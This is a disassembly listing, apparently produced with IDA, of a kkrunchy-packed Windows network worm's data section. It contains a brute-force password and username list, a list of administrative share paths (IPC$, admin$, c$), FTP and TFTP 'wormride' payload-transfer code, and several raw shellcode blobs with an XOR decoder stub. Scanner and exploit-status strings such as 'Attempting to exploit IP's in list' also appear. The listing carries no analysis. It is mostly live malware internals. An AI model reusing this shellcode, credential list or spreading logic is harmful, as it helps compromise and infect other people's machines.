		align 4
a12345		db '12345',0            ; DATA XREF: kkrunchy:00416E88o
		align 10h
a1234		db '1234',0             ; DATA XREF: kkrunchy:00416E84o
		align 4
a123		db '123',0              ; DATA XREF: kkrunchy:00416E80o
a12		db '12',0               ; DATA XREF: kkrunchy:00416E7Co
		align 10h
a1:					; DATA XREF: kkrunchy:00416E78o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: kkrunchy:00416E74o
aPwd		db 'pwd',0              ; DATA XREF: kkrunchy:00416E70o
aPass		db 'pass',0             ; DATA XREF: kkrunchy:00416E6Co
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: kkrunchy:00416E68o
		align 10h
aDba		db 'dba',0              ; DATA XREF: kkrunchy:00416E64o
aPasswd		db 'passwd',0           ; DATA XREF: kkrunchy:00416E60o
		align 4
aPassword	db 'password',0         ; DATA XREF: kkrunchy:00416E5Co
					; kkrunchy:00418B48o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: kkrunchy:00416E58o
		align 4
aAbc		db 'abc',0              ; DATA XREF: kkrunchy:00416E54o
aAb		db 'ab',0               ; DATA XREF: kkrunchy:00416E50o
		align 4
aA_0:					; DATA XREF: kkrunchy:00416E4Co
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: kkrunchy:00416E24o
		align 4
aPrint		db 'print$',0           ; DATA XREF: kkrunchy:00416E20o
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
					; DATA XREF: kkrunchy:00416E1Co
aAdmin_0	db 'admin$',0           ; DATA XREF: kkrunchy:00416E18o
		align 4
aAdminSystem32	db 'Admin$\system32',0  ; DATA XREF: kkrunchy:00416E14o
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: kkrunchy:00416E10o
aCWinntSystem32	db 'c$\winnt\system32',0 ; DATA XREF: kkrunchy:00416E0Co
		align 10h
aCWindows	db 'c$\windows',0       ; DATA XREF: kkrunchy:00416E08o
		align 4
aCWinnt		db 'c$\winnt',0         ; DATA XREF: kkrunchy:00416E04o
		align 4
aEShared	db 'e$\shared',0        ; DATA XREF: kkrunchy:00416E00o
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: kkrunchy:00416DFCo
		align 10h
aCShared	db 'c$\shared',0        ; DATA XREF: kkrunchy:00416DF8o
		align 4
aE		db 'e$',0               ; DATA XREF: kkrunchy:00416DF4o
		align 10h
aD		db 'd$',0               ; DATA XREF: kkrunchy:00416DF0o
		align 4
aC_0		db 'c$',0               ; DATA XREF: kkrunchy:00416DECo
		align 4
aStaff		db 'staff',0            ; DATA XREF: kkrunchy:00416DE4o
					; kkrunchy:0041709Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: kkrunchy:00416DE0o
					; kkrunchy:00417098o
aOwner		db 'owner',0            ; DATA XREF: kkrunchy:00416DDCo
					; kkrunchy:00417094o
		align 10h
aStudent	db 'student',0          ; DATA XREF: kkrunchy:00416DD8o
					; kkrunchy:00417090o
aIntranet	db 'intranet',0         ; DATA XREF: kkrunchy:00416DD4o
					; kkrunchy:0041708Co
		align 4
aLan_0		db 'lan',0              ; DATA XREF: kkrunchy:00416DCCo
					; kkrunchy:00417084o
aMain		db 'main',0             ; DATA XREF: kkrunchy:00411445o
					; kkrunchy:00411479o ...
		align 10h
aOffice		db 'office',0           ; DATA XREF: kkrunchy:00416DC4o
					; kkrunchy:00417074o
		align 4
aControl	db 'control',0          ; DATA XREF: kkrunchy:00416DC0o
					; kkrunchy:00417070o
aSiemens	db 'siemens',0          ; DATA XREF: kkrunchy:00416DBCo
					; kkrunchy:00417060o
aCompaq		db 'compaq',0           ; DATA XREF: kkrunchy:00416DB8o
					; kkrunchy:0041705Co
		align 10h
aDell		db 'dell',0             ; DATA XREF: kkrunchy:00416DB4o
					; kkrunchy:00417058o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: kkrunchy:00416DB0o
					; kkrunchy:00417054o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: kkrunchy:00416DACo
					; kkrunchy:00417050o
aOracle		db 'oracle',0           ; DATA XREF: kkrunchy:00416DA8o
					; kkrunchy:0041704Co
		align 4
aSql		db 'sql',0              ; DATA XREF: kkrunchy:00416DA4o
					; kkrunchy:00417040o
aSa		db 'sa',0               ; DATA XREF: kkrunchy:00416DA0o
					; kkrunchy:0041703Co
		align 4
aData		db 'data',0             ; DATA XREF: kkrunchy:00416D9Co
					; kkrunchy:00417028o
		align 4
aAccess		db 'access',0           ; DATA XREF: kkrunchy:00416D98o
					; kkrunchy:00417018o
		align 4
aDatabase	db 'database',0         ; DATA XREF: kkrunchy:00416D94o
					; kkrunchy:00417014o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: kkrunchy:00416D90o
					; kkrunchy:00417008o
		align 4
aGod		db 'god',0              ; DATA XREF: kkrunchy:00416D8Co
					; kkrunchy:00416FF4o
aBackup		db 'backup',0           ; DATA XREF: kkrunchy:00416D88o
					; kkrunchy:00416FDCo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: kkrunchy:00416D84o
					; kkrunchy:00416FD8o
		align 10h
aMary		db 'mary',0             ; DATA XREF: kkrunchy:00416D80o
					; kkrunchy:00416FCCo
		align 4
aKatie		db 'katie',0            ; DATA XREF: kkrunchy:00416D7Co
					; kkrunchy:00416FC8o
		align 10h
aKate		db 'kate',0             ; DATA XREF: kkrunchy:00416D74o
					; kkrunchy:00416FC0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: kkrunchy:00416D70o
					; kkrunchy:00416FBCo
		align 10h
aEric		db 'eric',0             ; DATA XREF: kkrunchy:00416D6Co
					; kkrunchy:00416FB8o
		align 4
aNone		db 'none',0             ; DATA XREF: kkrunchy:00416D68o
					; kkrunchy:00416ED0o
		align 10h
aGuest		db 'guest',0            ; DATA XREF: kkrunchy:00416D64o
					; kkrunchy:00416ECCo
		align 4
aChris		db 'chris',0            ; DATA XREF: kkrunchy:00416D60o
					; kkrunchy:00416FB4o
		align 10h
aIan		db 'ian',0              ; DATA XREF: kkrunchy:00416D5Co
					; kkrunchy:00416FB0o
aNeil		db 'neil',0             ; DATA XREF: kkrunchy:00416D58o
					; kkrunchy:00416FACo
		align 4
aLee		db 'lee',0              ; DATA XREF: kkrunchy:00416D54o
					; kkrunchy:00416FA8o
aBrian		db 'brian',0            ; DATA XREF: kkrunchy:00416D50o
					; kkrunchy:00416FA4o
		align 4
aSusan		db 'susan',0            ; DATA XREF: kkrunchy:00416D48o
					; kkrunchy:00416F9Co
		align 10h
aSue		db 'sue',0              ; DATA XREF: kkrunchy:00416D44o
					; kkrunchy:00416F98o
aSam		db 'sam',0              ; DATA XREF: kkrunchy:00416D40o
					; kkrunchy:00416F94o
aLuke		db 'luke',0             ; DATA XREF: kkrunchy:00416D3Co
					; kkrunchy:00416F90o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: kkrunchy:00416D38o
					; kkrunchy:00416D4Co ...
		align 4
aJohn		db 'john',0             ; DATA XREF: kkrunchy:00416D34o
					; kkrunchy:00416F88o
		align 10h
aMike		db 'mike',0             ; DATA XREF: kkrunchy:00416D30o
					; kkrunchy:00416F84o
		align 4
aBill		db 'bill',0             ; DATA XREF: kkrunchy:00416D2Co
					; kkrunchy:00416F80o
		align 10h
aFred		db 'fred',0             ; DATA XREF: kkrunchy:00416D28o
					; kkrunchy:00416F7Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: kkrunchy:00416D24o
					; kkrunchy:00416F78o
aJen		db 'jen',0              ; DATA XREF: kkrunchy:00416D20o
					; kkrunchy:00416F74o
aBob		db 'bob',0              ; DATA XREF: kkrunchy:00416D1Co
					; kkrunchy:00416D78o ...
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: kkrunchy:00416D18o
					; kkrunchy:00416F44o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: kkrunchy:00416D14o
					; kkrunchy:00416F3Co
aUser		db 'user',0             ; DATA XREF: kkrunchy:00416D10o
					; kkrunchy:00416F34o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: kkrunchy:00416D0Co
					; kkrunchy:00416F30o
		align 4
aHome		db 'home',0             ; DATA XREF: kkrunchy:00416D08o
					; kkrunchy:00416F2Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: kkrunchy:00416D04o
					; kkrunchy:00416DD0o ...
		align 10h
aWww		db 'www',0              ; DATA XREF: kkrunchy:00416D00o
					; kkrunchy:00416F14o
aWeb		db 'web',0              ; DATA XREF: kkrunchy:00416CFCo
					; kkrunchy:00416F10o
aRoot		db 'root',0             ; DATA XREF: kkrunchy:00416CF8o
					; kkrunchy:00416EF4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: kkrunchy:00416CF4o
					; kkrunchy:00416EF0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: kkrunchy:00416CECo
					; kkrunchy:00416EE0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: kkrunchy:00416CE8o
					; kkrunchy:00416EDCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: kkrunchy:00416CE4o
					; kkrunchy:00416ED8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: kkrunchy:00416CE0o
					; kkrunchy:00416E48o
aAdmin		db 'admin',0            ; DATA XREF: kkrunchy:00416CDCo
					; kkrunchy:00416E44o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: kkrunchy:00416CD8o
					; kkrunchy:00416E40o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: kkrunchy:00416CD4o
					; kkrunchy:00416E3Co
aAdministrateur	db 'administrateur',0   ; DATA XREF: kkrunchy:00416CD0o
					; kkrunchy:00416E38o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: kkrunchy:00416CCCo
					; kkrunchy:00416E34o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: kkrunchy:00416CC8o
					; kkrunchy:00416E30o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_40D6E0:loc_40DB99o
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_40D6E0+48Ao
dword_417634	dd 128170h		; DATA XREF: sub_40D6E0:loc_40DB62r
		align 10h
unk_417640	db  2Dh	; -		; DATA XREF: sub_40D6E0+463o
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_40D6E0+45Eo
dword_41766C	dd 8E2D0h		; DATA XREF: sub_40D6E0:loc_40DAA7r
		dd 2 dup(0)
dword_417678	dd 20363232h, 0A0D2Dh	; DATA XREF: sub_40D6E0+386o
					; sub_40D6E0+41Ao
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_40D6E0+353o
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_40D6E0+2AAo
					; sub_40D6E0+3D3o
dword_4176FC	dd 0A7CF0h		; DATA XREF: sub_40D6E0:loc_40D97Er
		dd 2 dup(0)
dword_417708	dd 20333132h, 0A0D7525h, 0 ; DATA XREF:	sub_40D6E0+270o
dword_417714	dd 146630h		; DATA XREF: sub_40D6E0:loc_40D8FEr
		align 10h
dword_417720	dd 20303032h, 0A0D2Dh	; DATA XREF: sub_40D6E0:loc_40D8F4o
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_40D6E0+1BBo
		align 4
dword_41773C	dd 1242F0h		; DATA XREF: sub_40D6E0:loc_40D87Br
		dd 2 dup(0)
dword_417748	dd 20353234h, 0A0D2Dh	; DATA XREF: sub_40D6E0+191o
dword_417750	dd 12ABA8h		; DATA XREF: sub_40D6E0+189r
		dd 2 dup(0)
dword_41775C	dd 1231B0h		; DATA XREF: sub_40D6E0:loc_40D85Dr
		dd 2 dup(0)
dword_417768	dd 20373532h, 20222F22h, 0A0D2Dh ; DATA	XREF: sub_40D6E0+173o
dword_417774	dd 25A70h		; DATA XREF: sub_40D6E0:loc_40D84Br
		dd 0
dword_41777C	dd 20313132h, 0A0D2Dh	; DATA XREF: sub_40D6E0+161o
dword_417784	dd 0F9170h		; DATA XREF: sub_40D6E0:loc_40D839r
		align 10h
dword_417790	dd 20353132h, 0A0D2Dh	; DATA XREF: sub_40D6E0+14Fo
dword_417798	dd 147CF0h		; DATA XREF: sub_40D6E0+147r
		dd 2 dup(0)
dword_4177A4	dd 20303332h, 0A0D2Dh	; DATA XREF: sub_40D6E0+129o
dword_4177AC	dd 12AE10h		; DATA XREF: sub_40D6E0:loc_40D7FAr
		dd 2 dup(0)
dword_4177B8	dd 20313333h, 0A0D2Dh	; DATA XREF: sub_40D6E0+110o
dword_4177C0	dd 1386D0h		; DATA XREF: sub_40D6E0+101r
		dd 2 dup(0)
dword_4177CC	dd 0A0D20h		; DATA XREF: sub_40D6E0+ACo
dword_4177D0	dd 20303232h, 0A0D2Dh	; DATA XREF: sub_40D6E0+11o
dword_4177D8	dd 303332h		; DATA XREF: sub_40DBD7+143o
dword_4177DC	dd 53534150h, 0A0D3120h, 0 ; DATA XREF:	sub_40DBD7+F0o
dword_4177E8	dd 313333h		; DATA XREF: sub_40DBD7+D1o
dword_4177EC	dd 52455355h, 0A0D3120h, 0 ; DATA XREF:	sub_40DBD7+76o
dword_4177F8	dd 303232h		; DATA XREF: sub_40DBD7+59o
unk_4177FC	db  2Dh	; -		; DATA XREF: sub_40DD36+A4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_40DD36+44o
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_40DE4C+34o
dword_417844	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_40DE9A+369o
unk_417850	db  2Dh	; -		; DATA XREF: sub_40DE9A+34Bo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_40DE9A+346o
		align 4
dword_41788C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_40DE9A+1FEo
aOctet		db 'octet',0            ; DATA XREF: sub_40DE9A+1CEo
		align 4
unk_4178A8	db  2Dh	; -		; DATA XREF: sub_40DE9A+E5o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_40E243+2Bo
		align 4


loc_4178E8:				; DATA XREF: sub_40E399+3Eo
		jmp	short loc_4178FF
; ---------------------------------------------------------------------------


loc_4178EA:				; CODE XREF: kkrunchy:loc_4178FFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi


loc_4178F6:				; CODE XREF: kkrunchy:004178FBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_4178F6
		jmp	short near ptr dword_417904
; ---------------------------------------------------------------------------


loc_4178FF:				; CODE XREF: kkrunchy:loc_4178E8j
		call	loc_4178EA
; ---------------------------------------------------------------------------
dword_417904	dd 0			; CODE XREF: kkrunchy:004178FDj
dword_417908	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_40E2C1+7Eo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_4179BC	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_40E2C1+4Do
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_417A84	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_40E2C1+1Ao
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_417B38	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_40E496+5Bo
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_417CB5	db 0E3h			; DATA XREF: sub_40E399+ACr
					; sub_40E399+D8w
		align 4
dword_417CB8	dd 4113E68Bh		; DATA XREF: sub_40E399+49r
					; sub_40E399+98w
		align 10h
off_417CC0	dd offset dword_417D18	; DATA XREF: sub_40E523+40r
		dd offset dword_417D0C
		dd offset dword_417D04
		dd offset dword_417CF0
		dd offset dword_417CE4
		dd offset dword_417D04
		dd 3 dup(0)
dword_417CE4	dd 0CEACFBEAh, 2 dup(0)	; DATA XREF: kkrunchy:00417CD0o
					; kkrunchy:00418E30o
dword_417CF0	dd 0D5ABFDB2h, 878E89BEh, 0A893A5C9h, 0D3C9E6h,	0
					; DATA XREF: kkrunchy:00417CCCo
					; kkrunchy:00418E2Co
dword_417D04	dd 2 dup(0)		; DATA XREF: kkrunchy:00417CC8o
					; kkrunchy:00417CD4o ...
dword_417D0C	dd 0CEA0FBE6h, 2 dup(0)	; DATA XREF: kkrunchy:00417CC4o
					; kkrunchy:off_418E24o
dword_417D18	dd 0D5A9FFBFh, 0C38D83BFh, 0A8CAAFD2h, 0DDC5EAh, 0
					; DATA XREF: kkrunchy:off_417CC0o
					; kkrunchy:off_418E20o
dword_417D2C	dd 72h			; DATA XREF: sub_40E707+F4o
dword_417D30	dd 62h			; DATA XREF: sub_40E829+7Fo
dword_417D34	dd 63h			; DATA XREF: sub_40E8E1+3Ao
dword_417D38	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40E951+66o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_417D70	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_40EA2F+79o
		dd 74726F70h, 34300320h, 3752502h, 2, 0
dword_417D98	dd 96F7ADBAh		; DATA XREF: sub_40E64D+2Dr
					; sub_40EE23+57o ...
		dd 3 dup(0)
		dd 0EF000000h, 0ADFDh, 3 dup(0)
		db 2 dup(0)
word_417DBE	dw 6428h		; DATA XREF: sub_40EAC4+2Do
		dd 79ABh
		db 2 dup(0)
off_417DC6	dd offset sub_40BC10	; DATA XREF: sub_40E64D+5r
					; sub_40E64D+Do ...
		dw 3
		dd 0
		dd 0ADBA0000h, 0E796F7h, 3 dup(0)
		dd 0ADFDEF00h, 4 dup(0)
		dd 2845B81h, 0
		dd offset sub_40BE68
		dd 3, 0
		dd 8BECABB0h, 0D692B4h,	2 dup(0)
		dd 0EA000000h, 0ADFAh, 3 dup(0)
		dd 0DA9B0000h, 88F7h, 0C79B0000h, 30040h, 0
		dd 0BDB20000h, 0A688F9h, 3 dup(0)
		dd 0ADFAEA00h, 4 dup(0)
		dd 65F8A73Fh, 0
		dd offset sub_40C501
		dd 3, 0
		dd 0E8A0AEh, 3 dup(0)
		dd 0EA000000h, 0ADFAh, 3 dup(0)
		dd 1E2B0000h, 2E6Fh, 0CD920000h, 30040h, 0
		dd 0A0AE0000h, 0C9E8h, 3 dup(0)
		dd 0ADFAEA00h, 4 dup(0)
		dd 9FA193F5h, 0
		dd offset loc_40CDA0
		dd 3, 0
		dd 0EBA5A9h, 3 dup(0)
		dd 0EF000000h, 0ADFDh, 3 dup(0)
		dd 29C80000h, 0BA2h, 0D3D60000h, 30040h, 0
		dd 0A5A90000h, 0C9EBh, 3 dup(0)
		dd 0ADFDEF00h, 4 dup(0)
		dd 311637D5h, 0
		dd offset sub_40D3D6
		dd 3, 0
		dd 0C8EBA5A9h, 3 dup(0)
		dd 0EA000000h, 0ADFAh, 3 dup(0)
		dd 573E0000h, 1AB7h, 0D3D60000h, 30040h, 0
		dd 0A5A90000h, 0CFEBh, 3 dup(0)
		dd 0ADFAEA00h, 4 dup(0)
		dd 0ECA2D655h, 0
		dd offset sub_40D3D6
		dd 3, 0
		dd 9EF5AFBAh, 92CC87A2h, 2 dup(0)
		dd 0E8000000h, 0C2AAFFh, 3 dup(0)
		dd 0CBA0000h, 99ABh, 0B7D00000h, 10040h, 0
		dd 0AFBA0000h, 87A29EF5h, 8B92CCh, 2 dup(0)
		dd 0AAFFE800h, 0C2h, 3 dup(0)
		dd 8A624BE8h, 0
		dd offset sub_40BAAF
		dd 1, 0
		dd 8AEBBDB3h, 0B9h, 2 dup(0)
		dd 0EF000000h, 0C8ABFAh, 3 dup(0)
		dd 7A860000h, 5AAAh, 0C63E0000h, 10040h, 0
		dd 0BDB30000h, 96B98AEBh, 0CA84DFh, 2 dup(0)
		dd 0ABFAEF00h, 0C8h, 3 dup(0)
		dd 2C5C7588h, 0
		dd offset nullsub_1
		dd 1, 0
		dd 98EBA7BDh, 0BAh, 2 dup(0)
		dd 0EC000000h, 0FDh, 3 dup(0)
		dd 799F0000h, 7C9Ch, 0B61A0000h, 40h, 10h dup(0)
dword_418138	dd 6E695728h, 293233h	; DATA XREF: sub_40EB16+18Do
dword_418140	dd 696E5528h, 2978h	; DATA XREF: sub_40EB16+16Fo
dword_418148	dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_40EB16+162o
aApache		db 'Apache',0           ; DATA XREF: sub_40EB16+149o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_40EB16+EAo
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_40EB16+CAo
		align 10h
aServer		db 'Server:',0          ; DATA XREF: sub_40EB16+72o
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40EB16+Eo
		db 0Dh,0Ah,0
		align 10h
unk_4181A0	db  53h	; S		; DATA XREF: sub_40EE23+475o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_4181E4	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_40EE23+412o
dword_4181F8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_40EE23+26Ao
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_418230	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_40EE23+234o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41825C	db  53h	; S		; DATA XREF: sub_40F2C2+186o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_418294	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_40F461+24Ao
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_4182D8	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_40F461+1F6o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_418308	db  2Dh	; -		; DATA XREF: sub_40F461+39o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 4
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_40F6CD+43o
dword_41835C	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: sub_40F727+7Do
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_40F727+2Co
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_40F7FD+21o
		align 10h
dword_4183A0	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_40F835:loc_40F8E1o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_4183D0	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_40F835+A5o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_418408	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_40F835+72o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_418438	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_40F908+A7o
		dd 30032074h, 73250234h, 203h
unk_418458	db  53h	; S		; DATA XREF: sub_40F9C9+1B4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
